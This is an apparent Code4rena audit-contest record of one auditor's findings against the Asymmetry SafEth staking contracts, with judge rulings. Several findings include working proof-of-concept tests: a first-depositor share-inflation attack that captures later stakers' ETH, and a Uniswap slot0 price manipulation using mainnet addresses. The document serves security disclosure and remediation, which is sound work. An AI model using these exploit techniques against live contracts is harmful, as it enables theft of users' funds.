Platform: Code4rena
Start Date: 24/03/2023
Pot Size: $49,200 USDC
Total HM: 20
Participants: 246
Period: 6 days
Judge: Picodes
Total Solo HM: 1
Id: 226
League: ETH
Rank: 29/246
Findings: 7
Award: $224.11
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: monrel
Also found by: 0xRajkumar, 0xfusion, AkshaySrivastav, Bahurum, Brenzee, Cryptor, Dug, Haipls, Koolex, Krace, MiloTruck, RaymondFam, RedTiger, ToonVH, Tricko, Vagner, aga7hokakological, anodaram, bart1e, bin2chen, bytes032, carrotsmuggler, ck, d3e4, giovannidisiena, igingu, juancito, mahdirostami, mert_eren, n33k, nemveer, parsely, pavankv, sashik_eth, shaka, sinarette, ulqiorra, yac
3.4908 USDC - $3.49
https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/SafEth.sol#L77-L81
An attacker can cause all subsequent stakers to not receive any SafETH tokens.
In the SafEth
contract, whenever a user calls stake()
to stake ETH, the following occurs:
// Getting underlying value in terms of ETH for each derivative for (uint i = 0; i < derivativeCount; i++) underlyingValue += (derivatives[i].ethPerDerivative(derivatives[i].balance()) * derivatives[i].balance()) / 10 ** 18;
First, the total ETH value held by the protocol is calculated by multiplying the balance of each derivative contract with the derivative's ethPerDerivative
. This underlying value is then used to determine the preDepositPrice
of each SafETH token:
uint256 totalSupply = totalSupply(); uint256 preDepositPrice; // Price of safETH in regards to ETH if (totalSupply == 0) preDepositPrice = 10 ** 18; // initializes with a price of 1 else preDepositPrice = (10 ** 18 * underlyingValue) / totalSupply;
Afterwards, the amount of ETH staked is divided by preDepositPrice
to determine the amount of SafETH tokens to be minted to the user:
// mintAmount represents a percentage of the total assets in the system uint256 mintAmount = (totalStakeValueEth * 10 ** 18) / preDepositPrice; _mint(msg.sender, mintAmount);
However, the calculation above can be exploited when totalSupply
is small:
derivatives[i].balance()
to increase, therefore underlyingValue
becomes extremely large.totalSupply
is small, preDepositPrice
becomes extremely large.preDepositPrice
is larger than totalSupplyValueEth * 10 ** 18
.mintAmount
becomes 0 due to Solidity's division rounding down.If totalSupply
is 0, an early attacker can do the following:
stake()
with 0.5 ETH (minimum amount), gaining 5e17
SafETH tokens in return.unstake()
with _safEthAmount = 5e17 - 1
:
totalSupply
of SafETH is now 1.Now, if a user stakes a reasonable amount of ETH, such as 200 ETH (maximum amount):
underlyingValue = 223076696957989386803
preDepositPrice = (10 ** 18 * 223076696957989386803) / 1 = 223076696957989386803000000000000000000
mintAmount = (200e18 * 10 ** 18) / 223076696957989386803000000000000000000
, which rounds down to 0.As such, the user receives no SafETH after staking. His staked ETH accrues to the attacker, who can withdraw all ETH in the protocol by unstaking his last SafETH token.
The following test demonstrates the scenario above:
import { ethers } from "hardhat"; import { expect } from "chai"; import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers"; import { initialUpgradeableDeploy } from "./helpers/upgradeHelpers"; import { SafEth } from "../typechain-types"; import { WSTETH_ADRESS } from "./helpers/constants"; import ERC20 from "@openzeppelin/contracts/build/contracts/ERC20.json"; describe("Attacker can break minting when totalSupply is small", () => { let safETH: SafEth; let ATTACKER: SignerWithAddress; let USER: SignerWithAddress; before(async () => { // Initialize accounts [ATTACKER, USER,] = await ethers.getSigners() // Initialize safETH contract safETH = (await initialUpgradeableDeploy()) as SafEth; }); it("User doesn't gain safETH after staking", async () => { // ATTACKER deposits 250 ETH for wstETH const wstETH = new ethers.Contract(WSTETH_ADRESS, ERC20.abi); await ATTACKER.sendTransaction({ to: wstETH.address, value: ethers.utils.parseEther("250") }); // ATTACKER stakes minimum amount of ETH (0.5 ether) await safETH.connect(ATTACKER).stake({ value: ethers.utils.parseEther("0.5"), }); // ATTACKER unstakes most of his safETH and leaves 1 remaining let attackerSafETHBalance = await safETH.balanceOf(ATTACKER.address); await safETH.connect(ATTACKER).unstake(attackerSafETHBalance.sub(1)); // totalSupply of safETH is now 1 expect(await safETH.totalSupply()).eq(1); // ATTACKER transfers 200 wstETH to the wstETH derivative contract await wstETH.connect(ATTACKER).transfer( await safETH.derivatives(2), ethers.utils.parseEther("200") ); // USER stakes maximum amount of ETH (200 ether) await safETH.connect(USER).stake({ value: ethers.utils.parseEther("200"), }); // USER does not gain any safETH in return expect(await safETH.balanceOf(USER.address)).eq(0); }) })
Consider setting preDepositPrice
as 10 ** 18
when totalSupply
is extremely small:
+ if (totalSupply < 1000) - if (totalSupply == 0) preDepositPrice = 10 ** 18; // initializes with a price of 1 else preDepositPrice = (10 ** 18 * underlyingValue) / totalSupply;
Additionally, ensure the amount of SafETH to be minted is non-zero:
// mintAmount represents a percentage of the total assets in the system uint256 mintAmount = (totalStakeValueEth * 10 ** 18) / preDepositPrice; + require(mintAmount != 0, "No SafETH minted"); _mint(msg.sender, mintAmount);
#0 - c4-pre-sort
2023-03-31T19:26:17Z
0xSorryNotSorry marked the issue as high quality report
#1 - c4-pre-sort
2023-04-04T12:45:54Z
0xSorryNotSorry marked the issue as duplicate of #715
#2 - c4-judge
2023-04-21T14:56:35Z
Picodes marked the issue as satisfactory
🌟 Selected for report: CodingNameKiki
Also found by: 0xd1r4cde17a, Franfran, MadWookie, MiloTruck, Moliholy, adriro, ast3ros, bin2chen, giovannidisiena, gjaldon, igingu, koxuan, rbserver, rvierdiiev, shaka, slippopz
81.3214 USDC - $81.32
https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/SafEth.sol#L70-L75 https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/SafEth.sol#L91-L95
When staking, users might receive incorrect amounts of SafETH tokens, causing them to lose or unfairly gain ETH.
In the Reth
contract, ethPerDerivative()
is used to fetch the price of rETH in terms of ETH:
/** @notice - Get price of derivative in terms of ETH @dev - we need to pass amount so that it gets price from the same source that it buys or mints the rEth @param _amount - amount to check for ETH price */ function ethPerDerivative(uint256 _amount) public view returns (uint256) { if (poolCanDeposit(_amount)) return RocketTokenRETHInterface(rethAddress()).getEthValue(10 ** 18); else return (poolPrice() * 10 ** 18) / (10 ** 18); }
For rETH specifically, ethPerDerivative()
returns two possible prices:
_amount
can be deposited, price is based of getEthValue(10 ** 18)
, the price of rETH in the rocket deposit pool.poolprice()
, which is the price of rETH in the Uniswap liquidity pool.To determine which price is returned, poolCanDeposit()
is called, which has the following return statement:
return rocketDepositPool.getBalance() + _amount <= rocketDAOProtocolSettingsDeposit.getMaximumDepositPoolSize() && _amount >= rocketDAOProtocolSettingsDeposit.getMinimumDeposit();
As seen from above, poolCanDeposit()
checks if _amount
can be deposited into RocketDepositPool. Therefore, if _amount
can be deposited into rocket pool, ethPerDerivative()
returns its price. Otherwise, Uniswap's price is returned.
This becomes an issue in the SafEth
contract. In the stake()
function, ethPerDerivative()
is first called when calculating the value held in each derivative contract:
// Getting underlying value in terms of ETH for each derivative for (uint i = 0; i < derivativeCount; i++) underlyingValue += (derivatives[i].ethPerDerivative(derivatives[i].balance()) * derivatives[i].balance()) / 10 ** 18;
Afterwards, stake()
uses the following logic to deposit ETH into each derivative contract:
uint256 depositAmount = derivative.deposit{value: ethAmount}(); uint derivativeReceivedEthValue = (derivative.ethPerDerivative( depositAmount ) * depositAmount) / 10 ** 18; totalStakeValueEth += derivativeReceivedEthValue;
The code above does the following:
deposit()
is called for each derivative. For rETH, ethAmount
is deposited into rocket pool if possible.ethPerDerivative()
is called again to determine the amount of ETH deposited.However, as the second call to ethPerDerivative()
is after a deposit, it is possible for both calls to return different prices.
Consider the following scenario:
depositPoolBalance = 5000 ether
maximumDepositPoolSize = 5004 ether
stake()
to stake 10 ETH
ethPerDerivative()
:
depositPoolBalance + 3.33 ETH
is less than maximumDepositPoolSize
, poolCanDeposit()
returns true
.ethPerDerivative()
returns rocket pool's rETH price.depositPoolBalance = 5000 ether + 3.3 ether = 5003.3 ether
.ethPerDerivative()
:
depositPoolBalance + 3.33 ETH
is more than maximumDepositPoolSize
, thus poolCanDeposit()
returns false
.ethPerDerivative()
returns Uniswap's price instead.In the scenario above, due to the difference in Rocket pool and Uniswap's prices, Bob will receive an incorrect amount of SafETH, causing him to unfairly gain or lose ETH.
The test below demonstrates how a user can gain more SafETH than normal due to the difference in prices. Before running the test, copy RocketDAOProtocolSettingsInterface.sol into 2023-03-asymmetry/contracts/
.
import { ethers, network } from "hardhat"; import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers"; import { initialUpgradeableDeploy } from "./helpers/upgradeHelpers"; import { SafEth, RocketStorageInterface, RocketDAOProtocolSettingsDepositInterface } from "../typechain-types"; import { ROCKET_STORAGE_ADDRESS } from "./helpers/constants"; import { BigNumber } from "ethers"; import { expect } from "chai"; describe("stake(): Incorrect amount of safETH due to rETH", () => { let safETH: SafEth; let USER: SignerWithAddress; let rocketStorage: RocketStorageInterface; let rocketDAOProtocolSettingsDeposit: RocketDAOProtocolSettingsDepositInterface; const stakeAmount = ethers.utils.parseEther("10"); // Function to get address from rocket storage const getRocketAddress = async (key: string) => { const data = ethers.utils.solidityKeccak256(["string", "string"], ["contract.address", key]); const address = await rocketStorage.getAddress(data); return address; }; // Function to reset the state const resetToBlock = async (blockNumber: number) => { await network.provider.request({ method: "hardhat_reset", params: [{ forking: { jsonRpcUrl: process.env.MAINNET_URL, blockNumber, } }], }); }; // Function to set the value of rocketDAOProtocolSettingsDeposit.getMaximumDepositPoolSize const setMaximumDepositPoolSize = async (v: BigNumber) => { const rocketDAOAddress = await getRocketAddress("rocketDAOProtocolProposals"); const rocketDAOProtocolSettings = await ethers.getContractAt( "RocketDAOProtocolSettingsInterface", rocketDAOProtocolSettingsDeposit.address ); const rocketDAO = await ethers.getImpersonatedSigner(rocketDAOAddress); await network.provider.send("hardhat_setBalance", [rocketDAO.address, "0x1bc16d674ec80000"]); await rocketDAOProtocolSettings.connect(rocketDAO).setSettingUint("deposit.pool.maximum", v); }; beforeEach(async () => { // Reset block const latestBlock = await ethers.provider.getBlock("latest"); await resetToBlock(latestBlock.number); // Initialize accounts [USER,] = await ethers.getSigners() // Initialize safETH contract safETH = (await initialUpgradeableDeploy()) as SafEth; // Fetch rocket pool contracts rocketStorage = await ethers.getContractAt("RocketStorageInterface", ROCKET_STORAGE_ADDRESS); rocketDAOProtocolSettingsDeposit = await ethers.getContractAt( "RocketDAOProtocolSettingsDepositInterface", await getRocketAddress("rocketDAOProtocolSettingsDeposit") ); }); let normalAmount: BigNumber; it("balance way smaller MaximumDepositPoolSize", async () => { // Set maximum deposit pool size to 10,000 ether await setMaximumDepositPoolSize(ethers.utils.parseEther("10000")); // Stake 10 ether await safETH.connect(USER).stake({value: stakeAmount}); // Store amount of safETH for comparison normalAmount = await safETH.balanceOf(USER.address); // 10000990329362121096 }) it("balance close to MaximumDepositPoolSize", async () => { // Make deposit pool will be maxed out after depositing 10 ether await setMaximumDepositPoolSize(ethers.utils.parseEther("5004")); // Stake 10 ether await safETH.connect(USER).stake({value: stakeAmount}); // Received more safETH than supposed to const receivedAmount = await safETH.balanceOf(USER.address); // 10020876069348501487 expect(receivedAmount).gt(normalAmount); }) })
Consider making the following changes to stake()
:
ethPerDerivative()
for each derivative.ethPerDerivative()
again.#0 - c4-pre-sort
2023-04-06T12:07:08Z
0xSorryNotSorry marked the issue as high quality report
#1 - c4-pre-sort
2023-04-06T12:08:20Z
0xSorryNotSorry marked the issue as duplicate of #1004
#2 - c4-judge
2023-04-21T14:04:02Z
Picodes marked the issue as duplicate of #1125
#3 - c4-judge
2023-04-21T14:10:33Z
Picodes marked the issue as not a duplicate
#4 - c4-judge
2023-04-21T14:10:43Z
Picodes marked the issue as duplicate of #1004
#5 - c4-judge
2023-04-21T14:10:47Z
Picodes marked the issue as satisfactory
#6 - c4-judge
2023-04-24T21:40:08Z
Picodes changed the severity to 3 (High Risk)
🌟 Selected for report: adriro
Also found by: 0xMirce, 0xRajkumar, 0xepley, BPZ, Bahurum, Bauer, Co0nan, Emmanuel, Franfran, HollaDieWaldfee, IgorZuk, MiloTruck, NoamYakov, RedTiger, Ruhum, T1MOH, Tricko, ad3sh_, auditor0517, bin2chen, carrotsmuggler, eyexploit, handsomegiraffe, igingu, jasonxiale, koxuan, lukris02, monrel, nadin, peanuts, rbserver, rvierdiiev, shaka, sinarette, tnevler, y1cunhui
4.5426 USDC - $4.54
https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/WstEth.sol#L83-L88 https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/WstEth.sol#L58-L6
In the WstETH
contract, calculations assume that the price of stETH is the same as ETH (1 stETH = 1 ETH).
Although extremely unlikely, it is still possible for the price of stETH to deviate from ETH. If this occurs, calculations that involve the price of WstETH will be incorrect, potentially causing asset loss to users.
ethPerDerivative()
is used to determine the derivative's value in terms of ETH:
/** @notice - Get price of derivative in terms of ETH */ function ethPerDerivative(uint256 _amount) public view returns (uint256) { return IWStETH(WST_ETH).getStETHByWstETH(10 ** 18); }
As getStETHByWstETH()
converts WstETH to stETH, ethPerDerivative()
returns the price of WstETH in terms of stETH instead. This might cause loss of assets to users as ethPerDerivative()
is used in staking calculations.
This assumption also occurs in withdraw()
:
uint256 stEthBal = IERC20(STETH_TOKEN).balanceOf(address(this)); IERC20(STETH_TOKEN).approve(LIDO_CRV_POOL, stEthBal); uint256 minOut = (stEthBal * (10 ** 18 - maxSlippage)) / 10 ** 18; IStEthEthPool(LIDO_CRV_POOL).exchange(1, 0, stEthBal, minOut);
minOut
, which represents the minimum ETH received, is calculated by subtracting slippage from the contract's stETH balance. If the price of stETH is low, the amount of ETH received from the swap, and subsequently sent to the user, might be less than intended.
Use a price oracle to approximate the rate for converting stETH to ETH.
#0 - c4-pre-sort
2023-04-04T17:13:14Z
0xSorryNotSorry marked the issue as duplicate of #588
#1 - c4-judge
2023-04-23T11:07:04Z
Picodes changed the severity to 3 (High Risk)
#2 - c4-judge
2023-04-24T20:44:44Z
Picodes marked the issue as satisfactory
97.5506 USDC - $97.55
Judge has assessed an item in Issue #883 as 3 risk. The relevant finding follows:
As such, if deposit() or withdraw() reverts for any derivative, stake() and unstake() will fail.
This could cause stake() and unstake() to permanently revert for an prolonged period of time, as it is possible for deposit() and withdraw() to revert due to unchecked external conditions:
Reth The rocket pool DAO can disable deposits. Withdrawals will fail if rocket pool does not have sufficient ETH. WstETH stETH has a daily staking limit, which could cause deposits to fail. If any of the external conditions above occurs, their respecitve function will be DOSed.
Although an owner can prevent this by setting the affected derivative's weight to 0, this is not a sufficient mitigation as:
This affects the ETH distribution for each derivative, potentially making it unbalanced. If the DOS is over a short period of time but occurs repeatedly, such as stETH's staking limit, the owner will have to keep adjusting the affected derivative's weight.
#0 - c4-judge
2023-04-27T10:28:49Z
Picodes marked the issue as duplicate of #210
#1 - c4-judge
2023-04-27T10:29:16Z
Picodes marked the issue as partial-50
#2 - Picodes
2023-04-27T10:29:33Z
Partial credit as this isn't what the finding is originally about and the impact isn't clearly described
🌟 Selected for report: HHK
Also found by: 019EC6E2, 0Kage, 0x52, 0xRobocop, 0xTraub, 0xbepresent, 0xepley, 0xfusion, 0xl51, 4lulz, Bahurum, BanPaleo, Bauer, CodeFoxInc, Dug, HollaDieWaldfee, IgorZuk, Lirios, MadWookie, MiloTruck, RedTiger, Ruhum, SaeedAlipoor01988, Shogoki, SunSec, ToonVH, Toshii, UdarTeam, Viktor_Cortess, a3yip6, auditor0517, aviggiano, bearonbike, bytes032, carlitox477, carrotsmuggler, chalex, deliriusz, ernestognw, fs0c, handsomegiraffe, igingu, jasonxiale, kaden, koxuan, latt1ce, m_Rassska, n1punp, nemveer, nowonder92, peanuts, pontifex, roelio, rvierdiiev, shalaamum, shuklaayush, skidog, tank, teddav, top1st, ulqiorra, wait, wen, yac
0.1353 USDC - $0.14
The output of poolPrice()
, which is used to determine the price of rETH, can be manipulated to become extremely small or large. An attacker abuse this to gain large amounts of SafETH during staking.
In the Reth
contract, poolPrice()
contains the following code:
function poolPrice() private view returns (uint256) { address rocketTokenRETHAddress = RocketStorageInterface( ROCKET_STORAGE_ADDRESS ).getAddress( keccak256( abi.encodePacked("contract.address", "rocketTokenRETH") ) ); IUniswapV3Factory factory = IUniswapV3Factory(UNI_V3_FACTORY); IUniswapV3Pool pool = IUniswapV3Pool( factory.getPool(rocketTokenRETHAddress, W_ETH_ADDRESS, 500) ); (uint160 sqrtPriceX96, , , , , , ) = pool.slot0(); return (sqrtPriceX96 * (uint(sqrtPriceX96)) * (1e18)) >> (96 * 2); }
As seen above, poolPrice()
calculates the price of rETH
using sqrtRatioX96
.
However, this is unsafe as slot0
is the most recent data point, and is extremely easy to manipulate. This makes poolPrice()
vulnerable to price manipulation.
As poolPrice()
is used to determine the price of rETH during staking, an attacker can abuse this vulnerability to unfairly gain large amounts of SafETH when staking.
Whem the rETH/WETH pool has low liquidity, an attacker can manipulate sqrtPriceX96
to become extremely large by swapping a huge amount of WETH for rETH. In contrast, the attacker can also swap rETH for WETH to make sqrtPriceX96
become extremely small.
The foundry test below demonstrates how sqrtPriceX96
can be manipulated:
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import "forge-std/Test.sol"; import "../src/interfaces/IWETH.sol"; import "../src/interfaces/rocketpool/RocketTokenRETHInterface.sol"; import "../src/interfaces/uniswap/IUniswapV3Factory.sol"; import "../src/interfaces/uniswap/IUniswapV3Pool.sol"; import "../src/interfaces/uniswap/UniswapMath.sol"; import "../src/interfaces/uniswap/ISwapRouter.sol"; contract UniswapTest is Test { address public constant UNISWAP_POOL_ADDRESS = 0xa4e0faA58465A2D369aa21B3e42d43374c6F9613; address public constant RETH_ADDRESS = 0xae78736Cd615f374D3085123A210448E74Fc6393; address public constant W_ETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public constant UNISWAP_ROUTER = 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45; address public constant UNI_V3_FACTORY = 0x1F98431c8aD98523631AE4a59f267346ea31F984; address public constant ATTACKER = address(0x1337); RocketTokenRETHInterface public RETH; IWETH public WETH; IUniswapV3Pool public uniswapPool; function setUp() public { RETH = RocketTokenRETHInterface(RETH_ADDRESS); WETH = IWETH(W_ETH_ADDRESS); uniswapPool = IUniswapV3Pool(UNISWAP_POOL_ADDRESS); } function poolPrice() private view returns (uint256) { IUniswapV3Factory factory = IUniswapV3Factory(UNI_V3_FACTORY); IUniswapV3Pool pool = IUniswapV3Pool( factory.getPool(RETH_ADDRESS, W_ETH_ADDRESS, 500) ); (uint160 sqrtPriceX96, , , , , , ) = pool.slot0(); return (sqrtPriceX96 * (uint(sqrtPriceX96)) * (1e18)) >> (96 * 2); } function testPoolPrice() public { // Attacker takes out flash loan and gets 5000 WETH deal(address(WETH), ATTACKER, 5000 ether); vm.startPrank(ATTACKER); // Get price of sqrtPriceX96 before the swap (uint160 sqrtPriceX96, , , , , , ) = uniswapPool.slot0(); console.log("sqrtPriceX96 before:", sqrtPriceX96); // Attacker swaps WETH for rETH WETH.approve(UNISWAP_ROUTER, 5000 ether); ISwapRouter.ExactInputSingleParams memory params = ISwapRouter .ExactInputSingleParams({ tokenIn: address(WETH), tokenOut: address(RETH), fee: 500, recipient: address(this), amountIn: 5000 ether, amountOutMinimum: 0, sqrtPriceLimitX96: UniswapMath.getSqrtRatioAtTick(UniswapMath.MAX_TICK - 1) }); ISwapRouter(UNISWAP_ROUTER).exactInputSingle(params); // Price of sqrtPriceX96 changes drastically (sqrtPriceX96, , , , , , ) = uniswapPool.slot0(); console.log("sqrtPriceX96 after:", sqrtPriceX96); } }
#0 - c4-pre-sort
2023-04-04T11:17:12Z
0xSorryNotSorry marked the issue as duplicate of #601
#1 - c4-judge
2023-04-21T16:11:48Z
Picodes marked the issue as satisfactory
#2 - c4-judge
2023-04-21T16:15:36Z
Picodes marked the issue as duplicate of #1125
🌟 Selected for report: silviaxyz
Also found by: 0xMirce, 0xbepresent, CodingNameKiki, Franfran, HollaDieWaldfee, MiloTruck, Tricko, adriro, codeislight, cryptonue, d3e4, ladboy233, rbserver, shaka, volodya
28.8013 USDC - $28.80
Judge has assessed an item in Issue #883 as 2 risk. The relevant finding follows:
This could cause stake() and unstake() to permanently revert for an prolonged period of time, as it is possible for deposit() and withdraw() to revert due to unchecked external conditions:
Reth The rocket pool DAO can disable deposits. Withdrawals will fail if rocket pool does not have sufficient ETH. WstETH stETH has a daily staking limit, which could cause deposits to fail. If any of the external conditions above occurs, their respecitve function will be DOSed.
Although an owner can prevent this by setting the affected derivative's weight to 0, this is not a sufficient mitigation as:
This affects the ETH distribution for each derivative, potentially making it unbalanced. If the DOS is over a short period of time but occurs repeatedly, such as stETH's staking limit, the owner will have to keep adjusting the affected derivative's weight.
#0 - c4-judge
2023-04-27T10:29:08Z
Picodes marked the issue as duplicate of #812
#1 - c4-judge
2023-04-27T10:29:13Z
Picodes marked the issue as satisfactory
🌟 Selected for report: __141345__
Also found by: 0xWaitress, 0xbepresent, AkshaySrivastav, Bauer, Haipls, HollaDieWaldfee, Lirios, MiloTruck, SaeedAlipoor01988, UdarTeam, adriro, bytes032, ck, d3e4, hihen, hl_, kaden, ladboy233, lopotras, m_Rassska, peanuts, reassor, volodya
8.2654 USDC - $8.27
https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/Reth.sol#L108 https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/Reth.sol#L146-L149 https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/WstEth.sol#L76
stake()
and unstake()
might permanently revert for a prolonged period of time.
In the SafETH
contract, stake()
calls deposit()
for each derivative in a loop:
for (uint i = 0; i < derivativeCount; i++) { // Some code here... uint256 depositAmount = derivative.deposit{value: ethAmount}(); // Some code here... }
Likewise, unstake()
calls withdraw()
for each derivative in a loop:
for (uint256 i = 0; i < derivativeCount; i++) { // Some code here... derivatives[i].withdraw(derivativeAmount); }
As such, if deposit()
or withdraw()
reverts for any derivative, stake()
and unstake()
will fail.
This could cause stake()
and unstake()
to permanently revert for an prolonged period of time, as it is possible for deposit()
and withdraw()
to revert due to unchecked external conditions:
If any of the external conditions above occurs, their respecitve function will be DOSed.
Although an owner can prevent this by setting the affected derivative's weight to 0, this is not a sufficient mitigation as:
The test below demonstrates how the 150,000 staking limit for stETH could cause stake()
to revert:
import { ethers, network } from "hardhat"; import { expect } from "chai"; import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers"; import { initialUpgradeableDeploy } from "./helpers/upgradeHelpers"; import { SafEth } from "../typechain-types"; import { WSTETH_ADRESS } from "./helpers/constants"; describe("stake() might fail due to external conditions", () => { let safETH: SafEth; let USER: SignerWithAddress; before(async () => { // Initialize accounts [USER,] = await ethers.getSigners() await network.provider.send("hardhat_setBalance", [USER.address, "0xf1e19e0c9bab24000000"]); // Initialize safETH contract safETH = (await initialUpgradeableDeploy()) as SafEth; }); it("stETH staking limit causes stake() to revert", async () => { // Daily staking limit of 150,000 for stETH is reached const tx = USER.sendTransaction({ to: WSTETH_ADRESS, value: ethers.utils.parseEther("150000"), data: "0x", }); await tx; // USER stakes 80 ETH (26.7 ETH for WstETH), triggering the staking limit const tx2 = safETH.connect(USER).stake({ value: ethers.utils.parseEther("80"), }); // Call to stake() above should revert await expect(tx2).to.be.revertedWith("Failed to send Ether"); }) })
Check for the external conditions mentioned and handle them. For example, swap the staked ETH for derivatives through Uniswap in deposit()
, and vice versa for withdraw()
.
#0 - c4-pre-sort
2023-04-02T12:25:13Z
0xSorryNotSorry marked the issue as high quality report
#1 - c4-pre-sort
2023-04-04T18:54:08Z
0xSorryNotSorry marked the issue as duplicate of #812
#2 - c4-judge
2023-04-24T19:40:55Z
Picodes marked the issue as not a duplicate
#3 - c4-judge
2023-04-24T19:41:30Z
Picodes marked the issue as duplicate of #770
#4 - c4-judge
2023-04-24T19:41:35Z
Picodes marked the issue as satisfactory
#5 - c4-judge
2023-04-27T10:27:09Z
Picodes marked the issue as not a duplicate
#6 - c4-judge
2023-04-27T10:27:15Z
Picodes changed the severity to QA (Quality Assurance)
#7 - c4-judge
2023-04-27T10:28:12Z
This previously downgraded issue has been upgraded by Picodes
#8 - c4-judge
2023-04-27T10:28:35Z
Picodes marked the issue as duplicate of #770